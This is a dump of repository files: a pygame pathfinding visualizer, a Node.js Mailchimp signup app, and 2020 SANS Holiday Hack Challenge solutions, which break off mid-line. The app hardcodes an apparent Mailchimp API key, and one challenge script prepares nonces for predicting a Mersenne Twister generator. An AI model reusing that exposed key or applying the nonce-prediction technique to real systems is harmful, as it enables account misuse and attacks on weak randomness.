"detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3698, "license_type": "permissive", "max_line_length": 93, "num_lines": 109, "path": "/src/pathfinding_visualizer/vertex.py", "repo_name": "Andre-Gilbert/Dijkstra-Shortest-Path", "src_encoding": "UTF-8", "text": "\"\"\"The vertices, or nodes, denoted in the pathfinding visualizer.\n\nA vertex is represented as a cell in the visualizer.\nDepending on the state, a vertex will be colored differently:\n- start: green\n- destination: red\n- wall: black\n- unvisited vertices: white\n- visited vertices: blue\n- shortest path: yellow\n\nAddionally a vertex belongs to a row and column in the grid,\nhas x, y coordinates, a width, and has access to all of its neighbors.\n\"\"\"\nfrom __future__ import annotations\nimport pygame\nfrom utils import Colors\n\n\nclass Vertex:\n \"\"\"Class which represents a vertex (cell) in the grid.\n\n Attributes:\n neighbors: Neighbors of the vertex.\n _color: Color of the vertex indicates its state.\n _row: Row of the vertex.\n _col: Column of the vertex.\n _x: x coordinate of the vertex.\n _y: y coordinate of the vertex.\n _width: Width of the vertex.\n _total_rows: Total rows of the grid.\n \"\"\"\n\n def __init__(self, row: int, col: int, width: int, total_rows: int) -> None:\n self.neighbors = []\n self._color = Colors.WHITE\n self._row = row\n self._col = col\n self._x = row * width\n self._y = col * width\n self._width = width\n self._total_rows = total_rows\n\n def get_position(self) -> tuple[int, int]:\n \"\"\"Returns the position of the vertex.\"\"\"\n return self._row, self._col\n\n def is_wall(self) -> bool:\n \"\"\"Checks if the vertex is a wall.\"\"\"\n return self._color == Colors.BLACK\n\n def is_visited(self) -> bool:\n \"\"\"Checks if the state of the vertex is visited.\"\"\"\n return self._color == Colors.BLUE\n\n def is_path(self) -> bool:\n \"\"\"Checks if the vertex belongs to the shortest path.\"\"\"\n return self._color == Colors.YELLOW\n\n def reset_vertex(self) -> None:\n \"\"\"Resets the vertex by coloring it white.\"\"\"\n self._color = Colors.WHITE\n\n def make_start(self) -> None:\n \"\"\"Colors the vertex green if it's the start.\"\"\"\n self._color = Colors.GREEN\n\n def make_destination(self) -> None:\n \"\"\"Colors the vertex red if it's the destination.\"\"\"\n self._color = Colors.RED\n\n def make_visited(self) -> None:\n \"\"\"Colors the vertex blue if the algorithm has visited it.\"\"\"\n self._color = Colors.BLUE\n\n def make_wall(self) -> None:\n \"\"\"Colors the vertex black if it's a wall.\"\"\"\n self._color = Colors.BLACK\n\n def make_path(self) -> None:\n \"\"\"Colors the vertex yellow if it belongs to the shortest path.\"\"\"\n self._color = Colors.YELLOW\n\n def draw(self, window: pygame.display) -> None:\n \"\"\"Draws the vertex.\"\"\"\n pygame.draw.rect(window, self._color, (self._x, self._y, self._width, self._width))\n\n def update_neighbors(self, grid: list[list[Vertex]]) -> None:\n \"\"\"Updates all neighbors of a vertex.\"\"\"\n self.neighbors = []\n\n # Vertex below\n if self._row < self._total_rows - 1 and not grid[self._row + 1][self._col].is_wall():\n self.neighbors.append(grid[self._row + 1][self._col])\n\n # Vertex above\n if self._row > 0 and not grid[self._row - 1][self._col].is_wall():\n self.neighbors.append(grid[self._row - 1][self._col])\n\n # Vertex to the right\n if self._col < self._total_rows - 1 and not grid[self._row][self._col + 1].is_wall():\n self.neighbors.append(grid[self._row][self._col + 1])\n\n # Vertex to the left\n if self._col > 0 and not grid[self._row][self._col - 1].is_wall():\n self.neighbors.append(grid[self._row][self._col - 1])\n\n def __lt__(self, other: Vertex) -> bool:\n return False\n" }, { "alpha_fraction": 0.7729257345199585, "alphanum_fraction": 0.7772925496101379, "avg_line_length": 37.16666793823242, "blob_id": "fb45e5277e9a8e3742fa28b58bae61a6a2678163", "content_id": "7ee9a93210e34a22a0b97ba4d3089b1838d79c82", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1832, "license_type": "permissive", "max_line_length": 321, "num_lines": 48, "path": "/README.md", "repo_name": "Andre-Gilbert/Dijkstra-Shortest-Path", "src_encoding": "UTF-8", "text": "# Pathfinding Visualizer\n\nThis repository's goal is to demonstrate how to implement pathfinding algorithms in the simplest and most elegant ways. At its core, a pathfinding algorithm searches a graph by starting at one vertex and exploring adjacent vertices until the destination is reached, generally with the intent of finding the shortest path.\n\n## Meet the Algorithms\n\n**Dijkstra Algorithm** (weighted): <br/>\nThe OG pathfinding algorithm which guarantees the shortest path.\n\n**A\\* Search** (weighted): <br/>\nArguably the best pathfinding algorithm which uses heuristics to guarantee the shortest path much faster than Dijkstra's algorithm.\n\n**Bidirectional Search** (unweighted): <br/>\nRuns Breadth-first search from both sides. Does guarantee the shortest path.\n\n**Breadth-first search** (unweighted): <br/>\nA great algorithm for pathfinding. Does guarantee the shortest path.\n\n**Depth-first search** (unweighted): <br/>\nAn awful algorithm for pathfinding. Does not guarantee the shortest path.\n\n## Pathfinding Visualizer Usage\n\n- Left click to create the start, destination and walls\n- Right click to undo a vertex\n- Press c to reset all vertices\n- Press m to generate a random maze\n- Press 1 to visualize Dijkstra's algorithm\n- Press 2 to visualize A* search\n- Press 3 to visualize Bidirectional search\n- Press 4 to visualize Breadth-first search\n- Press 5 to visualize Depth-first search\n\n## Requirements\n\n- python >= 3.10\n- View [requirements](requirements.txt).\n\n## Running the Application\n\nTo run the application:\n```bash\npython src/pathfinding_visualizer/main.py\n```\n\n## License\n\nThis repository is released under the [MIT license](https://opensource.org/licenses/MIT). In short, this means you are free to use this software in any personal, open-source or commercial projects. Attribution is optional but appreciated.\n" }, { "alpha_fraction": 0.4891361892223358, "alphanum_fraction": 0.5071542263031006, "avg_line_length": 25.20833396911621, "blob_id": "683c7005359f563c63af056af2fad1da1c57abfc", "content_id": "a38617f93ac9dec62dbb70f2e64845559d8d1a61", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1887, "license_type": "permissive", "max_line_length": 75, "num_lines": 72, "path": "/src/dijkstra/main.py", "repo_name": "Andre-Gilbert/Dijkstra-Shortest-Path", "src_encoding": "UTF-8", "text": "\"\"\"Runs Dijkstra's Algorithm.\n\nTypical usage example:\n v_a = Vertex('A')\n v_b = Vertex('B')\n v_c = Vertex('C')\n v_d = Vertex('D')\n v_e = Vertex('E')\n v_f = Vertex('F')\n vertices = {v_a, v_b, v_c, v_d, v_e, v_f}\n\n e_a_b = Edge(v_a, v_b, 7)\n e_a_c = Edge(v_a, v_c, 9)\n e_a_f = Edge(v_a, v_f, 14)\n e_b_c = Edge(v_b, v_c, 10)\n e_b_d = Edge(v_b, v_d, 15)\n e_c_d = Edge(v_c, v_d, 11)\n e_c_f = Edge(v_c, v_f, 2)\n e_d_e = Edge(v_d, v_e, 6)\n e_f_e = Edge(v_f, v_e, 9)\n edges = {e_a_b, e_a_c, e_a_f, e_b_c, e_b_d, e_c_d, e_c_f, e_d_e, e_f_e}\n\n graph = Graph(vertices, edges)\n\n print(\"\\nDijkstra Lazy Version:\")\n print(\"-\" * 31)\n dijkstra_lazy(graph, v_a, v_e)\n\n # Reset visited vertices\n for vertex in graph.vertices:\n vertex.visited = False\n\n print(\"\\nDijkstra Eager Version:\")\n print(\"-\" * 31)\n dijkstra_eager(graph, v_a, v_e)\n\"\"\"\nfrom algorithms import dijkstra_eager, dijkstra_lazy\nfrom data_structures import Edge, Graph, Vertex\n\nif __name__ == '__main__':\n v_a = Vertex('A')\n v_b = Vertex('B')\n v_c = Vertex('C')\n v_d = Vertex('D')\n v_e = Vertex('E')\n v_f = Vertex('F')\n vertices = {v_a, v_b, v_c, v_d, v_e, v_f}\n\n e_a_b = Edge(v_a, v_b, 7)\n e_a_c = Edge(v_a, v_c, 9)\n e_a_f = Edge(v_a, v_f, 14)\n e_b_c = Edge(v_b, v_c, 10)\n e_b_d = Edge(v_b, v_d, 15)\n e_c_d = Edge(v_c, v_d, 11)\n e_c_f = Edge(v_c, v_f, 2)\n e_d_e = Edge(v_d, v_e, 6)\n e_f_e = Edge(v_f, v_e, 9)\n edges = {e_a_b, e_a_c, e_a_f, e_b_c, e_b_d, e_c_d, e_c_f, e_d_e, e_f_e}\n\n graph = Graph(vertices, edges)\n\n print(\"\\nDijkstra Lazy Version:\")\n print(\"-\" * 31)\n dijkstra_lazy(graph, v_a, v_e)\n\n # Reset visited vertices\n for vertex in graph.vertices:\n vertex.visited = False\n\n print(\"\\nDijkstra Eager Version:\")\n print(\"-\" * 31)\n dijkstra_eager(graph, v_a, v_e)\n" }, { "alpha_fraction": 0.540139377117157, "alphanum_fraction": 0.5424113869667053, "avg_line_length": 32.34343338012695, "blob_id": "54be80167a85e90acb95fd06277ef5c453a80936", "content_id": "748dbbcb4c59d46d27ae7e7bece08d436ef0c9a8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6602, "license_type": "permissive", "max_line_length": 112, "num_lines": 198, "path": "/src/pathfinding_visualizer/pathfinder.py", "repo_name": "Andre-Gilbert/Dijkstra-Shortest-Path", "src_encoding": "UTF-8", "text": "\"\"\"Pathfinder implements the pathfinding algorithms.\n\nGiven a grid, the start, and destination vertex\na path from start to destination can be found using these algorithms:\n- Dijkstra's algorithm\n- A* search algorithm\n- Bidirectional search\n- Breadth-first search\n- Depth-first search\n\"\"\"\nimport pygame\nfrom queue import PriorityQueue, deque\nfrom vertex import Vertex\nfrom utils import AStarSearch, BidirectionalSearch, Path\n\n\nclass Pathfinder:\n \"\"\"Class which implements the pathfinding algorithms.\"\"\"\n\n @staticmethod\n def dijkstra(gui: object, grid: list[list[Vertex]], start: Vertex, destination: Vertex) -> bool:\n \"\"\"Visualizes Dijkstra's algorithm.\"\"\"\n count = 0\n queue = PriorityQueue()\n queue.put((0, count, start))\n visited = {start}\n came_from = {}\n costs = {vertex: float('inf') for row in grid for vertex in row}\n costs[start] = 0\n\n while not queue.empty():\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n\n current = queue.get()[2]\n visited.add(current)\n\n if current == destination:\n Path.reconstruct(gui, grid, came_from, destination)\n start.make_start()\n return True\n\n for neighbor in current.neighbors:\n new_cost = costs[current] + 1\n if new_cost < costs[neighbor]:\n came_from[neighbor] = current\n costs[neighbor] = new_cost\n if neighbor not in visited:\n count += 1\n queue.put((costs[neighbor], count, neighbor))\n visited.add(neighbor)\n\n if current != start:\n current.make_visited()\n\n gui.draw(grid)\n\n return False\n\n @staticmethod\n def a_star_search(gui: object, grid: list[list[Vertex]], start: Vertex, destination: Vertex) -> bool:\n \"\"\"Visualizes A* search.\"\"\"\n count = 0\n queue = PriorityQueue()\n queue.put((0, count, start))\n visited = {start}\n came_from = {}\n g_score = {vertex: float('inf') for row in grid for vertex in row}\n g_score[start] = 0\n f_score = {vertex: float('inf') for row in grid for vertex in row}\n f_score[start] = AStarSearch.manhatten_distance(start, destination)\n\n while not queue.empty():\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n\n current = queue.get()[2]\n visited.add(current)\n\n if current == destination:\n Path.reconstruct(gui, grid, came_from, destination)\n start.make_start()\n return True\n\n for neighbor in current.neighbors:\n new_g_score = g_score[current] + 1\n if new_g_score < g_score[neighbor]:\n came_from[neighbor] = current\n g_score[neighbor] = new_g_score\n f_score[neighbor] = new_g_score + AStarSearch.manhatten_distance(neighbor, destination)\n if neighbor not in visited:\n count += 1\n queue.put((f_score[neighbor], count, neighbor))\n visited.add(neighbor)\n\n if current != start:\n current.make_visited()\n\n gui.draw(grid)\n\n return False\n\n @staticmethod\n def bidirectional_search(gui: object, grid: list[list[Vertex]], start: Vertex, destination: Vertex) -> bool:\n \"\"\"Visualizes bidirectional search.\"\"\"\n queue_src = deque()\n queue_src.append(start)\n queue_dst = deque()\n queue_dst.append(destination)\n visited_src = {start}\n visited_dst = {destination}\n came_from_src = {}\n came_from_dst = {}\n intersection = -1\n\n while queue_src and queue_dst and intersection == -1:\n BidirectionalSearch.bfs(gui, grid, start, queue_src, visited_src, came_from_src)\n BidirectionalSearch.bfs(gui, grid, destination, queue_dst, visited_dst, came_from_dst)\n\n intersection = BidirectionalSearch.is_intersecting(visited_src, visited_dst)\n\n if intersection != -1:\n Path.reconstruct_bidirectional(gui, grid, came_from_src, came_from_dst, intersection.pop())\n start.make_start()\n destination.make_destination()\n return True\n\n return False\n\n @staticmethod\n def breadth_first_search(gui: object, grid: list[list[Vertex]], start: Vertex, destination: Vertex) -> bool:\n \"\"\"Visualizes breadth-first search.\"\"\"\n queue = deque()\n queue.append(start)\n visited = {start}\n came_from = {}\n\n while queue:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n\n current = queue.popleft()\n visited.add(current)\n\n if current == destination:\n Path.reconstruct(gui, grid, came_from, destination)\n start.make_start()\n return True\n\n for neighbor in current.neighbors:\n if neighbor not in visited:\n visited.add(neighbor)\n came_from[neighbor] = current\n queue.append(neighbor)\n\n if current != start:\n current.make_visited()\n\n gui.draw(grid)\n\n return False\n\n @staticmethod\n def depth_first_search(gui: object, grid: list[list[Vertex]], start: Vertex, destination: Vertex) -> bool:\n \"\"\"Visualizes depth-first search.\"\"\"\n stack = []\n stack.append(start)\n visited = {start}\n came_from = {}\n\n while stack:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n\n current = stack.pop()\n visited.add(current)\n\n if current == destination:\n Path.reconstruct(gui, grid, came_from, destination)\n start.make_start()\n return True\n\n for neighbor in current.neighbors:\n if neighbor not in visited:\n visited.add(neighbor)\n came_from[neighbor] = current\n stack.append(neighbor)\n\n if current != start:\n current.make_visited()\n\n gui.draw(grid)\n\n return False\n" }, { "alpha_fraction": 0.6291905045509338, "alphanum_fraction": 0.6291905045509338, "avg_line_length": 32.50685119628906, "blob_id": "fe5deab58ef43fd907d45e4fae65fb1769d9b6e7", "content_id": "1d58aede0c30f6c65a9f3a3ff0bfd4e32d200256", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2446, "license_type": "permissive", "max_line_length": 113, "num_lines": 73, "path": "/src/dijkstra/data_structures.py", "repo_name": "Andre-Gilbert/Dijkstra-Shortest-Path", "src_encoding": "UTF-8", "text": "\"\"\"Contains all data structures required for the pathfinding algorithms.\n\nTogether, they are used to represent a directed graph with vertices (also known as 'nodes')\nand edges. Each edge connects two vertices and has a cost, which might represent distance,\ndifficulty or any kind of rating (the higher, the less desireable the path).\n\"\"\"\nfrom __future__ import annotations\n\n\nclass Vertex:\n \"\"\"Represents a vertex in the graph.\n\n Attributes:\n name: Name of the vertex.\n adjacent_edges: Neighbors of a vertex.\n visited: Flag if the vertex has been visited.\n \"\"\"\n def __init__(self, name: str) -> None:\n \"\"\"Initializes a Vertex object.\"\"\"\n self.name = name\n self.adjacent_edges = set()\n self.visited = False\n\n def set_adjacent_edges(self, edges: set[Edge]) -> None:\n \"\"\"Initializes all edges leading away from this vertex.\"\"\"\n for edge in edges:\n if self == edge.start:\n self.adjacent_edges.add(edge)\n\n def __lt__(self, other: Vertex) -> bool:\n \"\"\"Less than comparison of two vertices.\"\"\"\n return False\n\n\nclass Edge:\n \"\"\"Represents a directed edge between two vertices.\n\n Attributes:\n start: Vertex from which the edge leads away.\n end: Vertex towards which the edge leads.\n cost: Path costs of the respective edge.\n \"\"\"\n def __init__(self, start: Vertex, destination: Vertex, cost: int) -> None:\n \"\"\"Initializes an Edge object.\"\"\"\n self.start = start\n self.destination = destination\n self.cost = cost\n\n\nclass Graph:\n \"\"\"Represents a weighted graph consisting of vertices and edges.\n\n Attributes:\n vertices: List of all vertices the graph contains.\n edges: List of all edges the graph contains.\n \"\"\"\n def __init__(self, vertices: set[Vertex], edges: set[Edge]) -> None:\n \"\"\"Initializes a Graph object.\n\n Raises:\n ValueError: If start or destination of any edge in edges is not in vertices.\n \"\"\"\n self.vertices = vertices\n\n for edge in edges:\n if edge.start not in self.vertices or edge.destination not in self.vertices:\n raise ValueError(\n f'Edge {edge.start} to {edge.destination} contains a vertex that is not part of this graph.')\n\n self.edges = edges\n\n for vertex in self.vertices:\n vertex.set_adjacent_edges(self.edges)\n" }, { "alpha_fraction": 0.5643397569656372, "alphanum_fraction": 0.5669830441474915, "avg_line_length": 35.34497833251953, "blob_id": "f7034c3fdc2024fb95b42220fabb6e2fdcb1f56d", "content_id": "f7d7eb6afc2bdc764ade653c5c910e6401d90c74", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8323, "license_type": "permissive", "max_line_length": 111, "num_lines": 229, "path": "/src/pathfinding_visualizer/gui.py", "repo_name": "Andre-Gilbert/Dijkstra-Shortest-Path", "src_encoding": "UTF-8", "text": "\"\"\"Implements the graphical user interface using pygame.\n\nThe GUI handles mouse and keyboard events such as:\n- Left click to create the start, destination and walls\n- Right click to undo a vertex\n- Press c to reset all vertices\n- Press m to generate a random maze\n- Press 1 to visualize Dijkstra's algorithm\n- Press 2 to visualize A* search\n- Press 3 to visualize Bidirectional search\n- Press 4 to visualize Breadth-first search\n- Press 5 to visualize Depth-first search\n\"\"\"\nimport pygame\nfrom random import randrange\nfrom pathfinder import Pathfinder\nfrom vertex import Vertex\nfrom utils import Algorithms, Colors\n\n\nclass GUI:\n \"\"\"Class which implements the user interface.\n\n Attributes:\n _pathfinder: The pathfinder object used to run the algorithms.\n _gap: The width of a vertex.\n _rows: The number of rows of the grid.\n _cols: The number of columns of the grid.\n _width: The width of the interface.\n _window: The graphical user interface.\n \"\"\"\n\n def __init__(self, rows: int = 50, width: int = 700) -> None:\n \"\"\"Initializes the graphical user interface.\n\n Args:\n rows: The number of rows of the grid.\n width: The width of the window.\n \"\"\"\n self._gap = width // rows\n self._rows = rows\n self._cols = rows\n self._width = width\n self._window = pygame.display.set_mode((width, width))\n\n pygame.display.set_caption(\"Pathfinding Visualizer\")\n\n def _initialize_grid(self) -> list[list[Vertex]]:\n \"\"\"Initializes an empty grid.\"\"\"\n grid = []\n for row in range(self._rows):\n grid.append([])\n for col in range(self._cols):\n grid[row].append(Vertex(row, col, self._gap, self._rows))\n\n return grid\n\n def _generate_maze(\n self,\n grid: list[list[Vertex]],\n start: Vertex,\n destination: Vertex,\n threshold: float = 0.3,\n ) -> list[list[Vertex]]:\n \"\"\"Generates a random maze.\"\"\"\n self._reset_vertices(grid, True)\n n = round(len(grid) * len(grid) * threshold)\n\n for _ in range(n + 1):\n row = randrange(len(grid))\n col = randrange(len(grid))\n if grid[row][col] != start and grid[row][col] != destination:\n grid[row][col].make_wall()\n\n def draw(self, grid: list[list[Vertex]]) -> None:\n \"\"\"Draws the vertices.\"\"\"\n for row in grid:\n for vertex in row:\n vertex.draw(self._window)\n\n self._draw_lines()\n pygame.display.update()\n\n def _draw_lines(self) -> None:\n \"\"\"Draws the grid lines.\"\"\"\n for i in range(self._rows):\n pygame.draw.line(self._window, Colors.LIGHT_BLUE, (0, i * self._gap), (self._width, i * self._gap))\n pygame.draw.line(self._window, Colors.LIGHT_BLUE, (i * self._gap, 0), (i * self._gap, self._width))\n\n def _get_clicked_position(self, position: tuple[int, int]) -> tuple[int, int]:\n \"\"\"Gets the clicked position.\"\"\"\n x, y = position\n row = x // self._gap\n col = y // self._gap\n return row, col\n\n def _make_vertex(\n self,\n grid: list[list[Vertex]],\n start: Vertex,\n destination: Vertex,\n ) -> tuple[list[list[Vertex]], Vertex, Vertex]:\n \"\"\"Creates the start, destination or a wall vertex.\"\"\"\n position = pygame.mouse.get_pos()\n row, col = self._get_clicked_position(position)\n vertex = grid[row][col]\n\n if not start and vertex != destination and not vertex.is_wall():\n start = vertex\n start.make_start()\n elif not destination and vertex != start and not vertex.is_wall():\n destination = vertex\n destination.make_destination()\n elif vertex != start and vertex != destination:\n vertex.make_wall()\n\n return grid, start, destination\n\n def _reset_vertex(\n self,\n grid: list[list[Vertex]],\n start: Vertex,\n destination: Vertex,\n ) -> tuple[list[list[Vertex]], Vertex, Vertex]:\n \"\"\"Resets the start, destination or a wall vertex.\"\"\"\n position = pygame.mouse.get_pos()\n row, col = self._get_clicked_position(position)\n vertex = grid[row][col]\n vertex.reset_vertex()\n\n if vertex == start:\n start = None\n elif vertex == destination:\n destination = None\n\n return grid, start, destination\n\n def _reset_vertices(self, grid: list[list[Vertex]], is_maze: bool = False) -> None:\n \"\"\"Resets all vertices by coloring them white.\"\"\"\n for row in grid:\n for vertex in row:\n if vertex.is_visited() or vertex.is_path():\n vertex.reset_vertex()\n elif is_maze and vertex.is_wall():\n vertex.reset_vertex()\n\n def _update_neighbors(self, grid: list[list[Vertex]]) -> None:\n \"\"\"Updates the neighbor vertices.\"\"\"\n for row in grid:\n for vertex in row:\n vertex.update_neighbors(grid)\n\n def _visualize_algorithm(\n self,\n grid: list[list[Vertex]],\n start: Vertex,\n destination: Vertex,\n algorithm: Algorithms,\n ) -> None:\n \"\"\"Visualizes a pathfinding algorithm.\"\"\"\n self._reset_vertices(grid)\n self._update_neighbors(grid)\n\n if algorithm == Algorithms.DIJKTRA:\n Pathfinder.dijkstra(self, grid, start, destination)\n elif algorithm == Algorithms.A_STAR_SEARCH:\n Pathfinder.a_star_search(self, grid, start, destination)\n elif algorithm == Algorithms.BIDIRECTIONAL_SEARCH:\n Pathfinder.bidirectional_search(self, grid, start, destination)\n elif algorithm == Algorithms.BREADTH_FIRST_SEARCH:\n Pathfinder.breadth_first_search(self, grid, start, destination)\n elif algorithm == Algorithms.DEPTH_FIRST_SEARCH:\n Pathfinder.depth_first_search(self, grid, start, destination)\n\n def run(self) -> None:\n \"\"\"Runs the pathfinding visualizer.\"\"\"\n run = True\n start = destination = None\n grid = self._initialize_grid()\n\n while run:\n self.draw(grid)\n\n # Handle events\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n\n # Left click\n if pygame.mouse.get_pressed()[0]:\n grid, start, destination = self._make_vertex(grid, start, destination)\n\n # Right click\n if pygame.mouse.get_pressed()[2]:\n grid, start, destination = self._reset_vertex(grid, start, destination)\n\n if event.type == pygame.KEYDOWN:\n\n # Dijkstra's algorithm\n if event.key == pygame.K_1 and start and destination:\n self._visualize_algorithm(grid, start, destination, Algorithms.DIJKTRA)\n\n # A* search algorithm\n elif event.key == pygame.K_2 and start and destination:\n self._visualize_algorithm(grid, start, destination, Algorithms.A_STAR_SEARCH)\n\n # Bidirectional search\n elif event.key == pygame.K_3 and start and destination:\n self._visualize_algorithm(grid, start, destination, Algorithms.BIDIRECTIONAL_SEARCH)\n\n # Breath-first search\n elif event.key == pygame.K_4 and start and destination:\n self._visualize_algorithm(grid, start, destination, Algorithms.BREADTH_FIRST_SEARCH)\n\n # Depth-first search\n elif event.key == pygame.K_5 and start and destination:\n self._visualize_algorithm(grid, start, destination, Algorithms.DEPTH_FIRST_SEARCH)\n\n # Generate maze\n elif event.key == pygame.K_m:\n self._generate_maze(grid, start, destination)\n\n # Reset grid\n elif event.key == pygame.K_c:\n start = destination = None\n grid = self._initialize_grid()\n self.draw(grid)\n\n pygame.quit()\n" } ]
9
kratikagupta-developer/NewsLetter-SignupApp
https://github.com/kratikagupta-developer/NewsLetter-SignupApp
d9736adf40ce387215824265e24fb3d82da4ceb2
78390ead279aceef57c2bc84012afaa136b45631
2dea12fb096e8010803431a90d776ea3407f8b44
refs/heads/master
2022-12-23T19:51:09.100951
2019-07-31T00:29:08
2019-07-31T00:29:08
199,744,460
0
0
null
2019-07-30T23:55:12
2019-07-31T00:29:29
2022-12-11T00:13:58
HTML
[ { "alpha_fraction": 0.5115143060684204, "alphanum_fraction": 0.5540823340415955, "avg_line_length": 23.305084228515625, "blob_id": "c0033c2fdfb8079e46518992cad0fa3b7e09d25b", "content_id": "ca8297a75639e16b17a2e37c24a0fc8d4bfbe707", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1433, "license_type": "no_license", "max_line_length": 75, "num_lines": 59, "path": "/app.js", "repo_name": "kratikagupta-developer/NewsLetter-SignupApp", "src_encoding": "UTF-8", "text": "const express = require('express')\nconst bodyParser = require('body-parser')\nconst request = require('request')\nconst app = express()\n\napp.use(bodyParser.urlencoded({ extended: true }))\napp.use(express.static(__dirname))\napp.get('/', function(req, res) {\n res.sendFile(__dirname + \"/sign.html\")\n})\napp.post('/', function(req, res) {\n\n\n var data = {\n members: [{\n email_address: req.body.inputEmail,\n status: \"subscribed\",\n merge_fields: {\n FNAME: req.body.FirstName,\n LNAME: req.body.LastName\n }\n }\n\n ]\n }\n var jsondata = JSON.stringify(data)\n var option = {\n url: \"https://us3.api.mailchimp.com/3.0/lists/f3eedb132c\",\n method: \"POST\",\n headers: {\n \"Authorization\": \"Katz208 5222f7be97559304f15aaef3dfb2f2f6-us3\"\n },\n body: jsondata,\n\n\n };\n request(option, function(error, response, body) {\n if (error) {\n res.sendFile(__dirname + '/failure.html')\n } else if (response.statusCode == 200) {\n res.sendFile(__dirname + '/success.html')\n\n } else {\n res.sendFile(__dirname + '/failure.html')\n }\n });\n\n\n\n})\napp.listen(process.env.PORT || 3000, function(req, res) {\n console.log('Server started')\n console.log(__dirname)\n\n})\n\n\n// 5222f7be97559304f15aaef3dfb2f2f6-us3\n// f3eedb132c" }, { "alpha_fraction": 0.3880368173122406, "alphanum_fraction": 0.40950921177864075, "avg_line_length": 22.709091186523438, "blob_id": "7589effaafbd5c44736e5187cec177d3606762d3", "content_id": "4bf5beec4f3ddf8e3646436f4ef4dd016876c92c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1304, "license_type": "no_license", "max_line_length": 45, "num_lines": 55, "path": "/Untitled-1.py", "repo_name": "kratikagupta-developer/NewsLetter-SignupApp", "src_encoding": "UTF-8", "text": "# your code goes here\nimport collections\nT = int(input())\nprint (T)\nwhile T>0: \n n,g,m = map(int,input().split())\n print (n,g,m)\n dict = collections.defaultdict(set)\n c = 1 ### guest no.\n t = 1\n li = [-1]\n while c <=g: \n h,direction = input().split()\n print (h,direction)\n h = int(h)\n #h,direction = astr.split()\n li.append((h,direction))\n dict[h].add(c)\n print (dict)\n c+=1\n\n while t<=m: \n c = 1\n temp_d = collections.defaultdict(set)\n while c<=g: \n h,direction = li[c]\n h = int(h)\n if direction == 'C':\n end = (h+1)%n\n else: \n end = (h-1)\n if end<=0: ####3\n end = n+end\n temp_d[end].add(c)\n c+=1\n for i,v in temp_d.items(): \n dict[i].union(v) \n ################\n t+=1\n \n dict2 = collections.OrderedDict()\n for i,v in dict.items():\n for elem in v: \n if elem not in dict2: \n dict2[elem]=1\n else: \n dict2[elem]+=1\n li1 = []\n print (dict2)\n for i in range(g+1):\n if i+1 in dict2:\n li1.append(dict2[i+1]) \n\n print (li1) \n T-=1\n" } ]
2
mendedsiren63/2020_Sans_Holiday_Hack_Challenge
https://github.com/mendedsiren63/2020_Sans_Holiday_Hack_Challenge
b0606ad7ab5bfbb291bdd93764e23ad86a247a5a
fa5890776d73c27087baf76490dfd6dacb28509b
0a66673296f0523ef0fafb8a4a2165b73a10bd9b
refs/heads/main
2023-02-15T08:04:12.644081
2021-01-12T06:08:34
2021-01-12T06:08:34
328,347,998
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6976743936538696, "alphanum_fraction": 0.7441860437393188, "avg_line_length": 20.5, "blob_id": "40feb076b9889bede2b50f9d6ebcfb6dcbfa412e", "content_id": "b840937e03313a1042651b2b1230c122edd2af39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 86, "license_type": "no_license", "max_line_length": 23, "num_lines": 4, "path": "/The-Elf-Code/Level-3.js", "repo_name": "mendedsiren63/2020_Sans_Holiday_Hack_Challenge", "src_encoding": "UTF-8", "text": "elf.moveTo(lollipop[0])\nelf.moveTo(lollipop[1])\nelf.moveTo(lollipop[2])\nelf.moveUp(1)\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.7435897588729858, "avg_line_length": 18.5, "blob_id": "f4708aa5615f235a4fd7c4d3379b530fc7298617", "content_id": "5839c461e235727516d73bf0cc8133829e155237", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 39, "license_type": "no_license", "max_line_length": 23, "num_lines": 2, "path": "/The-Elf-Code/level-1.js", "repo_name": "mendedsiren63/2020_Sans_Holiday_Hack_Challenge", "src_encoding": "UTF-8", "text": "elf.moveTo(lollipop[0])\nelf.moveUp(10)\n" }, { "alpha_fraction": 0.6222076416015625, "alphanum_fraction": 0.664914608001709, "avg_line_length": 34.27906799316406, "blob_id": "1733d8eeedfe49cba59159d5eb12c1ccab1e344c", "content_id": "e184f819cff9fb14e18ba3e8a2ef3a8258c439e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1522, "license_type": "no_license", "max_line_length": 127, "num_lines": 43, "path": "/Bitcoin-Investigation/process_nonce_obj_11a.py", "repo_name": "mendedsiren63/2020_Sans_Holiday_Hack_Challenge", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nimport os\nmain_nonce=\"nonce\"\nobj_file_new_nonce=\"obj_new_nonce_624\"\ncmd_cut='cat nonce | tail -312 > obj_nonce_312'\nnonce_combined_list=[]\n\ndef split_nonce():\n\n\tos.system(cmd_cut)\t#This block will cut 312 nonce from main file and put in last nonce_312 \n\tfile_nonce=\"obj_nonce_312\"\n\n\twith open(file_nonce, \"r\") as file:\t\t# Calculate hi and lo 32 bit of 64 bit nonce.\n\t\tfor line in file.readlines():\n\t\t\tline=int(line)\n\t\t\thighint = line >> 32 #hi \t\t\t\n\t\t\tlowint = line & 0xffffffff #lo\n\t\t\t\n\t\t\twith open (obj_file_new_nonce, 'a') as file: \t#Add nonces to a new file making it 624 values. \n\t\t\t\tfile.write(str(lowint)+'\\n')\n\t\t\t\n\t\t\twith 